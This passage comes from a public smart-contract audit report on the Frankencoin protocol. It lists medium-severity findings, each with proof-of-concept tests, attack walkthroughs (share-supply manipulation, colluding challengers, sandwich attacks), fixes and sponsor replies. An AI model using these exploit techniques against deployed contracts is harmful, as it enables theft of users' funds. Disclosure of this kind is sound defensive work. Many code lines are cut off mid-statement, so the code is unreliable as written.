Although Bob deposited 1000 Frankencoin, he received only 1 share in return. As such, all his deposited Frankencoin can be redeemed by Alice using her shares. Furthermore, Alice can cause the next depositor after Bob to also receive 1 share by redeeming 1 share, causing the total amount of shares to become `1000e18 - 1` again.

Note that the attack described above is possbile as long as an attacker has sufficient shares to decrease the total share amount below `1000e18` .

The following Foundry test demonstrates the scenario above:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../contracts/Frankencoin.sol";

contract ShareManipulation_POC is Test {
    Frankencoin zchf;
    Equity reserve;
```

```
    address ALICE = address(0x1);
    address BOB = address(0x2);

    function setUp() public {
        // Setup contracts
        zchf = new Frankencoin(10 days);
        reserve = Equity(address(zchf.reserve()));

        // Give both ALICE and BOB 1000 Frankencoin
        zchf.suggestMinter(address(this), 0, 0, "");
        zchf.mint(ALICE, 1000 ether);
        zchf.mint(BOB, 1000 ether);
    }

    function test_NextDepositorGetsOneShare() public {
        // ALICE deposits 1000 Frankencoin, getting 1000e18 shar
        vm.prank(ALICE);
        zchf.transferAndCall(address(reserve), 1000 ether, "");

        // Time passes until ALICE can redeem
        vm.roll(block.number + 90 * 7200);

        // ALICE redeems 1 share, leaving 1000e18 - 1 shares rem
        vm.prank(ALICE);
        reserve.redeem(ALICE, 1);

        // BOB deposits 1000 Frankencoin, but gets only 1 share
        vm.prank(BOB);
        zchf.transferAndCall(address(reserve), 1000 ether, "");
        assertEq(reserve.balanceOf(BOB), 1);

        // All of BOB's deposited Frankencoin accrue to ALICE
        vm.startPrank(ALICE);
        reserve.redeem(ALICE, reserve.balanceOf(ALICE) - 1e18);
        assertGt(zchf.balanceOf(ALICE), 1999 ether);
    }
}
```

Recommendation

As the total amount of shares will never be less than `1e18`, check if `totalShares` is less than `1e18` instead of `1000e18` in `calculateSharesInternal()`:

Equity.sol#L266-L270

```
        function calculateSharesInternal(uint256 capitalBefore, uir
            uint256 totalShares = totalSupply();
-           uint256 newTotalShares = totalShares < 1000 * ONE_DEC1
+           uint256 newTotalShares = totalShares < ONE_DEC18 ? 10(
            return newTotalShares - totalShares;
        }
```

This would give `1000e18` shares to the initial depositor and ensure that subsequent depositors will never receive a disproportionate amount of shares.

0xA5DF (lookout) commented:

> Similar to `#983`, yet different.

> `#880` describes a similar issue except that the lowering of shares is due to restructure, duping to this one.

luziusmeisser (Frankencoin) acknowledged and commented:

> In theory, this is possible. In practice, I assume the number of shares to always be significantly above 1000 and this issue not to be of practical relevance.

hansfried (judge) decreased severity to Medium

[M-04] `anchorTime()` will not work properly on Optimism due to use of `block.number`

Submitted by peakbolt, *also found by* Udsen *and* Tricko

When deploying to Optimism, Equity.anchorTime() will not be accurate due to the use of block.number.

```
    function anchorTime() internal view returns (uint64){
        return uint64(block.number << BLOCK_TIME_RESOLUTION_BITS
```

```
        }
```

Impact

The inaccuracy of block.number will affect the computation of the holding duration for the votes. That will affect redeem() as the issue will cause it to deviate from the intended design of 90 days minimum holding duration (stated in comments).

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L54-L59

Detailed Explanation

Noted that the devs have mentioned that it is conceivable that Frankencoin will be deployed on other evm chains. So it is worth reviewing the use of block.number, such that it is compatible with other chains like Optimism.

On Optimism, the `block.number` is not a reliable source of timing information and the time between each block is also different from Ethereum. This is because each transaction on L2 is placed in a separate block and blocks are not produce at a constant rate. This will cause the holding duration computation using `anchorTime()` to fluctuate. (see Optimism docs https://community.optimism.io/docs/developers/build/differences/#block-numbers-and-timestamps)

Recommended Mitigation Steps

Consider using block.timestamp instead of block.number for more accurate measurement of time.

luziusmeisser (Frankencoin) confirmed and commented:

> I guess I should switch from block number to timestamp.

[M-05] Owner of Denied Position is not able to withdraw collateral until expiry

Submitted by yellowBirdy*, also found by* carrotsmuggler*,* Norah*,* ChrisTina*,* BenRai*, and* GreedyGoblin

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L112
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L263
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L373-L376

Vulnerability details

Denying a position puts it into perma cooldown state ie. cooldown ends at expiry. It's impossible to withdraw collateral in the cooldown state.

Impact

Locks owner funds until expiry, expiry time is not capped and can be expected to be long. There is no benefit to the owner to set it shorter and be forced to repay the position at an inconvenient time. Hence a high risk exists to lock the collateral semi permanently

Proof of Concept

Consider owner trying to call `withdrawCollateral` on a denied position

```
function deny(address[] calldata helpers, string calldata me
    if (block.timestamp >= start) revert TooLate();
    IReserve(zchf.reserve()).checkQualified(msg.sender, help
    cooldown = expiration; // since expiration is immutable,
    emit PositionDenied(msg.sender, message);
}

function withdrawCollateral(address target, uint256 amount)
    uint256 balance = internalWithdrawCollateral(target, amo
    checkCollateral(balance, price);
```

```
}

modifier noCooldown() {
    if (block.timestamp <= cooldown) revert Hot();
    _;
}
```

1. Successful call all to `deny` will set `cooldown = expiry`
2. Subsequent call to `withdrawCollateral` will be reverted by `noCooldown` modifier

Recommended Mitigation Steps

Return the collateral to the owner at the end of `deny`

```
function deny(address[] calldata helpers, string calldata me
    if (block.timestamp >= start) revert TooLate();
    IReserve(zchf.reserve()).checkQualified(msg.sender, help
    cooldown = expiration; // since expiration is immutable,
    internalWithdrawCollateral(owner, IERC20(collateral).bal
    emit PositionDenied(msg.sender, message);
}
```

0xA5DF (lookout) commented:

> Might be a design choice, will leave open for sponsor to comment.
> Severity should be medium since funds aren't lost but are locked for some period of time.

luziusmeisser (Frankencoin) confirmed and commented:

> Excellent point! This is not intended and will be addressed. The owner of a denied position should be allowed to withdraw their collateral. Severity high is ok due to the high likelihood of this happening to innocent users, even though it is not a real loss of assets.

hansfriese (judge) decreased severity to Medium

[M-06] Challengers and bidders can collude together to restrict the minting of position owner

Submitted by peanuts*, also found by* Kumpa, m9800, deliriusz, __141345__, ltyu, KIntern_NA, T1MOH, GreedyGoblin, rvierdiiev, LegendFenGuin, J4de*, and* deadrxsezzz

There is no restrictions as to how many challenges can occur at one given auction time. A challenger can potentially create an insanely large amount of challenges with a tiny amount of collateral for each challenge.

```
function launchChallenge(address _positionAddr, uint256 _col
    IPosition position = IPosition(_positionAddr);
    IERC20(position.collateral()).transferFrom(msg.sender, a
    uint256 pos = challenges.length;
    challenges.push(Challenge(msg.sender, position, _collate
    position.notifyChallengeStarted(_collateralAmount);
    emit ChallengeStarted(msg.sender, address(position), _cc
    return pos;
}
```

Let's say if the fair price of 1000 ZCHF is 1 WETH, and the position owner sets his position at the fair price. Rationally, there will be no challenges and bidders because the price is fair. However, the challenger can attack the position owner this way:

1. Set a small amount of collateralAmount to challenge, ie 0.0001 WETH.
2. The bidder comes and bid a price over 1000* ZCHF (Not the actual amount*. The actual amount is an equivalent amount scaled to the collateral, but for simplicity sake let's just say 1000 ZCHF, ideally its like 1000 * 0.0001 worth)
3. Because the bid is higher than 1000* ZCHF, tryAvertChallenge() succeeds and the bidder buys the collateral from the challenger.
4. When tryAvertChallenge() succeeds, restrictMinting(1 days) is called to suspend the owner from minting for 1 additional day
5. If the challenger and the bidder is colluding or even the same person, then the bidder does not lose out because he is essentially buying the collateral for a higher price from himself.

6. The challenger and bidder can repeat this attack and suspend the owner from minting. Such attack is possible because there is nothing much to lose other than a small amount of gas fees

```
    function tryAvertChallenge(uint256 _collateralAmount, uint25
        if (block.timestamp >= expiration){
            return false; // position expired, let every challer
        } else if (_bidAmountZCHF * ONE_DEC18 >= price * _collat
            // challenge averted, bid is high enough
            challengedAmount -= _collateralAmount;
            // Don't allow minter to close the position immediat
            // the owner has a chance to mint more on an undercc
//@audit-- calls restrictMinting if passed
            restrictMinting(1 days);
            return true;
        } else {
            return false;
        }
    }



    function restrictMinting(uint256 period) internal {
        uint256 horizon = block.timestamp + period;
        if (horizon > cooldown){
            cooldown = horizon;
        }
    }
```

Impact

Minting for Position owner will be suspended for a long time.

Recommended Mitigation Steps

In this Frankencoin protocol, the challenger never really loses.

If the bid ends lower than the liquidation price, then the bidder wins because he bought the collateral at a lower market value. The challenger also wins because he gets his reward. The protocol owner loses because he sold his collateral at a lower market value.

If the bid ends higher than the liquidation price, then the bidder loses because he bought the collateral at a higher market value. The challenger wins because he gets to trade his collateral for a higher market value. The protocol owner neither wins nor loses.

The particular POC above is one way a challenger can abuse his power to create many challenges without any sort of consequence in order to attack the owner. In the spirit of fairness, the challenger should also lose if he challenges wrongly.

Every time a challenger issues a challenge, he should pay a small fix sum of money that will go to the owner if the bidder sets an amount higher than fair market value. (because that means that the protocol owner was right about the fair market value all along.)

Although the position owner can be a bidder himself, if the position owner bids on his own position in order to win this small amount of money, the position owner will lose at the same time because he is buying the collateral at a higher-than-market price from the challenger, so this simultaneous gain and loss will balance out.

0xA5DF (lookout) commented:

> #385 highlights that even without the added cooldown - there's no price exacted from the challenger in case they fail.
> This can lead to false challenges that DoS legitimate positions, hoping to win some of the challenges by chance.

luziusmeisser (Frankencoin) confirmed and commented:

> Note that challenges must have a minimum size, so launching a large number of challenges locks up a significant amount of funds.

> However, it is true that a challenger and a bidder that collude could trigger a cooldown period.

> This is a valid issue. My mitigation is to not allow a challenge to be launched and averted in the same block. This ensures that the challenger has some money at risk as the challenger cannot be sure that it will be the bidder he is colluding with that can buy the collateral at a discount.

> Example:

1. Alice has a position with WETH as collateral at liquidation price 500 ZCHF and a minimum collateral amount of 10 WETH.
2. Bob launches a challenge with 10 WETH.
3. Bob wants to bid on his own challenge in the next block, but gets frontrun by Charles, who buys the 10 WETH from Bob at a price of only 5000 ZCHF. Assuming 1 WETH is worth 2000 ZCHF, Bob suffers from a loss of 15000 ZCHF.

[M-07] Need alternative ways for fund transfer in `end()` to prevent DoS

Submitted by **__141345__**, *also found by* **joestakey**, **peanuts**, **cccz**, **bin2chen**, **said**, **Emmanuel**, **KIntern_NA**, **KIntern_NA**, **ladboy233**, *and* **SaeedAlipoor01988**

The `end()` function to conclude a challenge involves several fund transfer, including the return of challenger's collateral, challenger's reward transfer, the bidder's excess return, position owner's excess fund return. Further, in `Position.sol#notifyChallengeSucceeded()`, underlying collateral withdrawal. If anyone transfer of the above failed and revert, all the other transfer calls will fail. The fund could be stuck temporarily or forever.

Proof of Concept

The issue here is the external dependence of fund transfer. There could be several scenarios the individual transfer could fail. Such as erc20 0 amount transfer revert, position transfer ownership to `addr(0)`, zchf not enough balance, or other unexpected situations encountered, many other functionality will also be affected.

0 amount transfer

Concurrent challenges are allowed in the auction as per the comment in `Position.sol`

```
333: // Challenge is larger than the position. This can for exam
334: // challenges that exceed the collateral balance in size. I
335: // tell the caller that a part of the bid needs to be retur
```

So in one position, there could be many challenges at the same time, the `challengedAmount` can exceed the total collateral balance. As a result, the last challenger to call `MintingHub.sol#end()` will end up with 0 collateral transfer even if the challenge succeed. If the corresponding collateral erc20 revert on 0 amount transfer, the whole `end()` call will fail, further locking the collateral of the challenger.

Since the total collateral balance is not enough to pay all the `challengeAmount`, eventually the collateral balance of the position will be drained, leaves nothing for those who have not call `end()` yet. When they call `end()`, the challenger's collateral and bidder's excess fund should be returned like below:

```
File: contracts/MintingHub.sol
252:     function end(uint256 _challengeNumber, bool postponeCol

257:         returnCollateral(challenge, postponeCollateralRetur

260:         (address owner, uint256 effectiveBid, uint256 volum
261:         if (effectiveBid < challenge.bid) {
262:             // overbid, return excess amount
263:             IERC20(zchf).transfer(challenge.bidder, challer
264:         }
```

Then in `notifyChallengeSucceeded()`, the amount for collateral withdrawal will be 0.

```
File: contracts/Position.sol
329:     function notifyChallengeSucceeded(address _bidder, uint
330:         challengedAmount -= _size;
331:         uint256 colBal = collateralBalance();
332:         if (_size > colBal){
333:             // Challenge is larger than the position. This
334:             // challenges that exceed the collateral balanc
335:             // tell the caller that a part of the bid needs
336:             _bid = _divD18(_mulD18(_bid, colBal), _size);
337:             _size = colBal;
338:         }

352:         internalWithdrawCollateral(_bidder, _size); // trar
```

```
268:     function internalWithdrawCollateral(address target, uir
269:         IERC20(collateral).transfer(target, amount);
```

However some erc20 will revert on 0 amount transfer. Such as (e.g., LEND -> see https://github.com/d-xo/weird-erc20#revert-on-zero-value-transfers), it reverts for transfer with amount 0. Hence the whole `end()` call will fail, leading to lock of challenger's collateral and bidder's fund. Because the `returnCollateral()` and bid fund return are inside function `end()`, the revert of `notifyChallengeSucceeded()` could prevent the return of both.

Although some collaterals used now may not revert on 0 amount transfer, many erc20 are upgradable, it is unknown if they will change the implementation in the future upgrades.

Position owner being `addr(0)`

If a position owner transferring the ownership to `addr(0)`, and the challenge involves return excess fund to the owner, in line 268 of `MintingHub.sol` the transfer will revert due to the ERC20 requirement.

```
File: contracts/MintingHub.sol
252:     function end(uint256 _challengeNumber, bool postponeCol

260:         (address owner, uint256 effectiveBid, uint256 volum
261:         if (effectiveBid < challenge.bid) {
262:             // overbid, return excess amount
263:             IERC20(zchf).transfer(challenge.bidder, challer
264:         }
265:         uint256 reward = (volume * CHALLENGER_REWARD) / 10(
266:         uint256 fundsNeeded = reward + repayment;
267:         if (effectiveBid > fundsNeeded){
268:             zchf.transfer(owner, effectiveBid - fundsNeedec

File: contracts/ERC20.sol
151:     function _transfer(address sender, address recipient, u
152:         require(recipient != address(0));
```

Not enough balance in zchf

When the protocol incur multiple loss event, the balance could be too low. In such extreme situations, the zchf transfer would also fail. The `end()` would DoS temporarily.

Recommended Mitigation Steps

A more robust way to handle multiple party fund transfer is to provide alternative ways to refund apart from all in one in `end()`. Just like the `returnPostponedCollateral()` in `MintingHub.sol`.

- In `end()`, record the amount should be transferred to each user, and provide option for them to pull the fund later. If separate the transfer from `end()`, provide the option for the challenger and bidder to pull the fund, then in the case that the other transfer or external calls fail in `end()`, the fund transfer will not dependent on other unexpected factors, and the system could be more robust.
- Check for the total challenge amount, disallow the total challenge to be more than the position collateral .

0xA5DF (lookout) commented:

> #675 and many others mention blacklist.
> #711 also mentions ERC777.

luziusmeisser (Frankencoin) confirmed and commented:

> Generally, the FPS holders can deny tokens that do not confirm to the ERC20 in the desired way. However, tricks like setting the position owner to null still can do harm. This needs to be addressed.

hansfriese (judge) commented:

> Yes, the second part is a duplicate of 670. I approved 670 as an individual issue as the attack path is unique. So the real contribution of this issue doesn't contain 670. I approved only the first part for this issue.

[M-08] `initializeClone()` price calculation should round up

Submitted by **bin2chen**

`initializeClone()` Price calculations use `round down` , which only works if divisible , If precision is lost, it will revert

Proof of Concept

When clone positon, `_initialCollateral` and `_initialMint` are used to calculate the `price` of the clone position

The code is as follows:

```
    function initializeClone(address owner, uint256 _price, uint
        if(_coll < minimumCollateral) revert InsufficientCollate
        setOwner(owner);

        price = _mint * ONE_DEC18 / _coll;   //<----------use rc

        if (price > _price) revert InsufficientCollateral();
        limit = _limit;
        mintInternal(owner, _mint, _coll);

        emit PositionOpened(owner, original, address(zchf), addr
    }
```

1. The price calculation formula `price = _mint * ONE_DEC18 / _coll` , use `round down`
2. In the next step `mintInternal()` will execute mint, and internally will call `checkCollateral()`

```
    function checkCollateral(uint256 collateralReserve, uint256
        if (collateralReserve * atPrice < minted * ONE_DEC18) re
    }
```

`checkCollateral()` will check `collateralReserve * atPrice < minted * ONE_DEC18`

This has a problem, when calculating the price and there is a precision loss in price (round down), then `checkCollateral()` will definitely revert

Because if precision loss occurs, `collateralReserve * atPrice` will be 1 less than `minted * ONE_DEC18`

For example:

_initialCollateral = 101e18;
_initialMint = 100e18;

Due to round down price = 0.99e18

Then `checkCollateral ()` will revert because `101e18 * 0.99e18 < 100e18 * 1e18`

Here is the demo code:

Will revert `InsufficientCollateral` in `checkCollateral ()`
Add to `GeneralTest.t.sol`

```
        function testCloneRevert() external {

            // 0.get 1000 for open bad position
            alice.obtainFrankencoins(swap, 1000 ether);
            col.mint(address(alice), 1001);

            // 1. open new position
            vm.startPrank(address(alice));
            col.approve(address(hub), 1001);
            uint256 oldPrice = 1 * (10 ** 36);
            Position pos = Position(hub.openPosition(address(col), 1
            skip(7 * 86_400 + 60);

            console.log("0.pos price:",pos.price());
```

```
        // 2.pass _initialMint  _initialCollateral ,  will  rour
        uint256 _initialCollateral = 1001;
        uint256 _initialMint = 1000 * 10**18;

        uint256 newPrice = _initialMint * 10**18 / _initialColla

        console.log("1.new price:",newPrice);
        console.log("1.new price Bigger than old ?:",newPrice >

        col.mint(address(alice), _initialCollateral);
        col.approve(address(hub), _initialCollateral);

        // 3. clonePosition will revert ,  Although the paramete
        hub.clonePosition(address(pos),_initialCollateral , _ini
        vm.stopPrank();
    }

}



$ forge test --match testCloneRevert -vvv

Running 1 test for test/GeneralTest.t.sol:GeneralTest
[FAIL. Reason: InsufficientCollateral()] testCloneRevert() (gas:
Logs:
  0.pos price: 1000000000000000000000000000000000000
  1.new price: 999000999000999000999000999000999000
  1.new price Bigger than old ?: false

Traces:
  [2131375] GeneralTest::testCloneRevert()
```

It is recommended to use round up.

Recommended Mitigation Steps

```
    function initializeClone(address owner, uint256 _price, uint
...

        price = _mint * ONE_DEC18 / _coll;

+       if ( price * _coll != _mint * ONE_DEC18 ) price += 1; //
```

0xA5DF (lookout) commented:

> Impact seems insignificant
> Rounding down just means the price will decrease by a small percentage.
> Changing this to rounding up might cause a different edge case where an attacker can slightly increase the price by rounding.

hansfriese (judge) commented:

> Seems correct. Sponsor review requested.

luziusmeisser (Frankencoin) commented:

> Yes, I can confirm this issue. It doesn't do much harm, but can cause some inconvenience when interacting with the protocol as it only works properly with cleanly divisible amounts for "mint" and "collateral".

[M-09] Unable to adjust position in some cases

Submitted by John, also found by 4710710N

The `adjust` function in `Position.sol` is designed to adjust the outstanding amount of ZCHF, the collateral amount, and the price in a single transaction. However, there are certain cases where this function always reverts. Assuming the new price is greater than the current price, if the value of `newCollateral` is less than `colbal` or the value of `newMinted` is greater than `minted`, the `adjust` function will always revert with a customized error message reading `Hot`.

Proof of Concept

If the value of `newPrice` is great than value of `price`, the `restrictMinting` function is triggered. In this case, if the value of `cooldown` exceeds `block.timestamp` + 3 days, `cooldown` will be update to `block.timestamp + 3 days`, therefore, both the `withdrawCollateral` and `mint` functions will be reverted with custom error because of `noCooldown` modifier.
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L132-L152

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L159-L167

I will share the test code

```
    it("Will revert adjest tx when newPrice is greater than prevPric
        let collateral = mockVOL.address;
        let fliqPrice = floatToDec18(1000);
        let minCollateral = floatToDec18(1);
        let fInitialCollateral = floatToDec18(initialCollateral);
        let duration = BN.from(14*86_400);
        let fFees = BN.from(fee * 1000_000);
        let fReserve = BN.from(reserve * 1000_000);
        let openingFeeZCHF = await mintingHubContract.OPENING_FEE();
        let challengePeriod = BN.from(7 * 86400); // 7 days
        await mockVOL.connect(accounts[0]).approve(mintingHubContrac
        let balBefore = await ZCHFContract.balanceOf(owner);
        let balBeforeVOL = await mockVOL.balanceOf(owner);
        let tx = await mintingHubContract["openPosition(address,uint
            (collateral, minCollateral, fInitialCollateral, initialI
        let rc = await tx.wait();
        const topic = '0x591ede549d7e337ac63249acd2d7849532b0a68637
        const log = rc.logs.find(x => x.topics.indexOf(topic) >= 0);
        positionAddr = log.address;
        let balAfter = await ZCHFContract.balanceOf(owner);
        let balAfterVOL = await mockVOL.balanceOf(owner);
        let dZCHF = dec18ToFloat(balAfter.sub(balBefore));
        let dVOL = dec18ToFloat(balAfterVOL.sub(balBeforeVOL));
        expect(dVOL).to.be.equal(-initialCollateral);
        expect(dZCHF).to.be.equal(-dec18ToFloat(openingFeeZCHF));
        positionContract = await ethers.getContractAt('Position', po

        console.log("price:",await positionContract.price());
        console.log("minted:",await positionContract.minted());
        await ethers.provider.send('evm_increaseTime', [7 * 86_400 +
        await ethers.provider.send("evm_mine");

        let erx = positionContract.adjust(1, floatToDec18(8), floatT
        await expect(erx).to.be.revertedWithCustomError(positionCont

        console.log("price:",await positionContract.price());
        console.log("minted:",await positionContract.minted());
    });
```

Recommended Mitigation Steps

To solve this problem, we can modify the “adjust” function like this;

```
function adjust(uint256 newMinted, uint256 newCollateral, uint25
    uint256 colbal = collateralBalance();
    if (newCollateral > colbal){
        collateral.transferFrom(msg.sender, address(this), newCo
    }
    // Must be called after collateral deposit, but before withd
    if (newMinted < minted){
        zchf.burnFrom(msg.sender, minted - newMinted, reserveCon
        minted = newMinted;
    }
    if (newCollateral < colbal){
        withdrawCollateral(msg.sender, colbal - newCollateral);
    }
    // Must be called after collateral withdrawal
    if (newMinted > minted){
        mint(msg.sender, newMinted - minted);
    }

    if (newPrice != price){
        adjustPrice(newPrice);
    }
}
```

0xA5DF (lookout) commented:

> Might be a design choice, need sponsor’s input on this one.

luziusmeisser (Frankencoin) confirmed and commented:

> I wouldn’t call this a ‘vulnerability’ but convenience is definitely improved by the recommended mitigation.

[M-10] No slippage control when minting and redeeming FPS

Submitted by cccz*, also found by* joestakey*,* joestakey*,* giovannidisiena*,* giovannidisiena*,* santipu_*,* DishWasher*,* SolidityATL*,* KIntern_NA*, and* ToonVH

When minting and redeeming FPS in Equity, there is no slippage control. Since the price of FPS will change with the zchf reserve in the contract, users may suffer from sandwich attacks.

Consider the current contract has a zchf reserve of 1000 and a total supply of 1000.

Alice considers using 4000 zchf to mint FPS. Under normal circumstances, the contract reserve will rise to 5000 zchf, and the total supply will rise to (5000/1000)**(1/3)*1000 = 1710, that is, alice will get 1710 - 1000 = 710 FPS.

Bob holds 400 FPS, and bob observes alice's transaction in MemPool, bob uses MEV to preemptively use 4000 zchf to mint 710 FPS.

When alice's transaction is executed, the contract reserve will increase from 5000 to 9000 zchf, and the total supply will increase from 1710 to (9000/5000)**(1/3)*1710 = 2080, that is, alice gets 2080-1710 = 370FPS.

Then bob will redeem 400 FPS, the total supply will drop from 2080 to 1680, and the contract reserve will drop from 9000 to (1689/2080)**3*9000 = 4742, that is, bob gets 9000-4742 = 4258 zchf.

Bob's total profit is 310 FPS and 258 zchf.

Proof of Concept

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L241-L255
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L266-L270
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L275-L282
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L290-L297

Recommended Mitigation Steps

Consider setting minFPSout and minZCHFout parameters to allow slippage control when minting and redeeming FPS

luziusmeisser (Frankencoin) confirmed:

[M-11] Later challengers can bid on the previous challenge to extend the expiration time of the previous challenge, so that their own challenge can succeed before the previous challenge and get challenge rewards

Submitted by **cccz**, *also found by* **RaymondFam**

When bidders bid, if the expiration time of the challenge is less than 30 minutes, the expiration time will be extended.

```
uint256 earliestEnd = block.timestamp + 30 minutes;
if (earliestEnd >= challenge.end) {
    // bump remaining time like ebay does when last
    // An attacker trying to postpone the challenge
    // every 30 minutes, or double it every three da
    // for a prolonged period of time.
    challenge.end = earliestEnd;
}
```

However, extending the expiration time will break the order of the challenges, so that the later challenges will succeed before the previous ones, thus affecting the challenger's reward expectations.

Consider the following scenario:

- There is a collateral of 2 WETH in a position, and as the actual price of WETH drops, challengers are attracted to challenge it.
- In block 1, alice uses 2 WETH to challenge the position, and the expiration time is block 7201
- At block 2, bob challenges the position with 2 WETH, expiring at block 7202

- The bidder then bids 4000 ZCHF each for alice's and bob's challenges.
- In block 7200, bob finds that if alice's challenge is successful, then bob will not be able to get the challenge reward, so bob bids 4200 ZCHF to alice's challenge. Alice's challenge expiration time is extended to block 7351.
- At block 7201, alice cannot call end to make the challenge successful because the expiration time is extended
- At block 7202, bob successfully calls end to make his challenge successful and gets the challenge reward.
- In block 7351, alice calls the end function. Since the collateral in the position is 0 at this time, alice will not be able to get the challenge reward, and bob's 4200 zchf will be returned.

```
function notifyChallengeSucceeded(address _bidder, uint256 _
    challengedAmount -= _size;
    uint256 colBal = collateralBalance();
    if (_size > colBal){
        // Challenge is larger than the position. This can f
        // challenges that exceed the collateral balance in
        // tell the caller that a part of the bid needs to k
        _bid = _divD18(_mulD18(_bid, colBal), _size);
        _size = colBal;
    }

    // Note that thanks to the collateral invariant, we knov
    //    colBal * price >= minted * ONE_DEC18
    // and that therefore
    //    price >= minted / colbal * E18
    // such that
    //    volumeZCHF = price * size / E18 >= minted * size /
    // So the owner cannot maliciously decrease the price tc
    uint256 volumeZCHF = _mulD18(price, _size); // How much
    // The owner does not have to repay (and burn) more thar
    uint256 repayment = minted < volumeZCHF ? minted : volun
```

Proof of Concept

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L217-L224
https://github.com/code-423n4/2023-04-

frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L329-L350

Recommended Mitigation Steps

Consider implementing a challenge queue that allows the end function to be called on subsequent challenges only after previous challenges have ended.

luziusmeisser (Frankencoin) acknowledged and commented:

> Bids must at least be 0.5% higher than the previous bid, so pro-longing the challenge four times already costs as much as the whole challenger reward of 2%, making this attack not very attractive under normal circumstances.

> —> Not worth to add any complexity to change this.

[M-12] Auctions fail to account for network and market conditions

Submitted by 3th

Under certain extreme, but inevitable, network conditions, auctions will not be effective in covering the bad debt of a challenged position. Worse, certain position parameters under these conditions can lead to extremely small bids winning large amounts of collateral. More details follow in the next section, but it should be noted that this same design oversight was responsible for almost destroying Dai in March of 2020—the closest MakerDAO has ever been to utilizing its emergency shutdown module.

Proof of Concept

When the Ethereum network becomes highly congested, the price of gas can skyrocket to incredible levels. During times like these, users of the network will limit their activity to only the most urgent matters—in the case of March 12th, 2020, for example, the only people paying the exorbitant network fees were rushing to exit their positions as the price of ETH (and everything else) began to free fall.

On that day, MakerDAO's collateral auctions were slipping by unnoticed, as the bots that would typically compete in the majority of these auctions saw failing transactions, hit cost limits defined by their owners, or were simply deactivated. An attacker noticed them, however, and began winning auctions on liquidated collateral with bids of zero ETH.

This exact vulnerability exists in the Frankencoin system, and it can be exploited under exactly the same circumstances. If a challenge only has a single bid when the challenge period ends, and that bid is near zero, the bid will still win the collateral regardless of how much it is actually worth.

At first glance, Frankencoin developers might be tempted to believe that the dynamic challenge period on its positions will allow for the system to rely primarily on auctions that can outlast abnormally volatile days. In practice, however, this is unlikely to be true, since "safe" positions will likely end up with very short challenge periods. This is unavoidable, because the vast majority of ZCHF will be backed by these types of collateral, and the system risks carrying untenable amounts of bad debt ever more the longer these challenge periods are extended. And extending these windows does not actually solve the problem anyways, since the bad debt cannot be covered until they end.

Consider, as well, that Frankencoin has a significant additional barrier to liquidating its positions when compared with MakerDAO: challenging requires collateral. I'll actually discuss this piece of the challenge design in more detail in a separate report, but it bears mentioning that such a requirement will only make it less likely that positions will be challenged under extreme network and market conditions in the first place. If huge swaths of positions against a highly trusted collateral type all violate their liquidation prices concurrently, the amount of capital required to challenge all unsafe positions at once is unlikely to materialize quickly. This will lead to a severe loss of confidence in the ZCHF peg, as the system's bad debt balloons, auctions clear for pennies on the dollar, and large, undercollateralized positions remain unchallenged. The peg likely could not withstand the ZCHF panic selling that would doubtlessly occur alongside this.

In fact, this vulnerability does not even require a malicious actor to make the protocol insolvent in market conditions such as these. Since a challenge with no bids will determine the collateral to be worthless, the protocol will fail to liquidate any collateral from some or all of its unsafe positions.

Recommended Mitigation Steps

Since the high barrier to challenging positions is better covered in another report, its mitigation will be discussed there as well.

For the greater underlying problem in this report, the mitigation is actually relatively simple: the auctions should be converted to "dutch auctions." This simply means that, rather than starting from zero and accepting the highest bid, the auction should start above the liquidation price and gradually decrease. This will prevent any challenges from ending with winning near-zero bids.

0xA5DF (lookout) commented:

> Under certain extreme, but inevitable, network conditions, auctions will not be effective in covering the bad debt of a challenged position

> The main function of challenges here is to prevent positions with wrong pricing from being minted, but will leave open for sponsor's comment since in some cases a low bid can cause loss to the protocol.

luziusmeisser (Frankencoin) disagreed with severity and commented:

> Very interesting input.

> However, I'm not convinced that a Dutch auction would always be preferrable. One of the strength of the FRankencoin system is that its auction mechanism can handle relatively exotic collaterals. For those, it might take a few days for the bidders to evaluate them or to organize the bid. If the price falls too low during that time, the challenge might be successful even though the market price is above the liquidation price...

> I would acknowledge this issue as medium severity.

hansfriese (judge) decreased severity to Medium

[M-13] Can't pause or remove a minter

Submitted by Ruhum*, also found by* juancito*,* 7siech*,* rbserver*,* santipu_*,* deliriusz*,* hihen*,* foxb868*,* Lirios*,* zaevlad*,* ladboy233*,* DadeKuma*, and* J4de

The project is supposed to be self-governing. Token owners are able to suggest new minters and collateral. The auction mechanism allows participants to remove collateral from the system if it's deemed unhealthy. But, there's no way to remove a registered minter.

Why would you want to remove a registered minter? Because they can have bugs that could break the whole system. The current minter, MintingHub, for example, implements a novel auction mechanism to price collateral instead of choosing the industry standard Chainlink oracles. While I support the idea of having a fully decentralized system, it does add additional risk to the project. A risk that's taken not only by the protocol team but every ZCHF holder as well.

Obviously, these are just hypotheticals. But, the system is not equipped to handle a scenario where the minter malfunctions.

Proof of Concept

After a minter is suggested you have generally 10 days to deny it. After that, there's no way to remove it:

```
function denyMinter(address _minter, address[] calldata _help
    if (block.timestamp > minters[_minter]) revert TooLate();
    reserve.checkQualified(msg.sender, _helpers);
    delete minters[_minter];
    emit MinterDenied(_minter, _message);
}
```

Recommended Mitigation Steps

Implement the ability for token holders to temporarily pause a minter as well as remove it altogether.

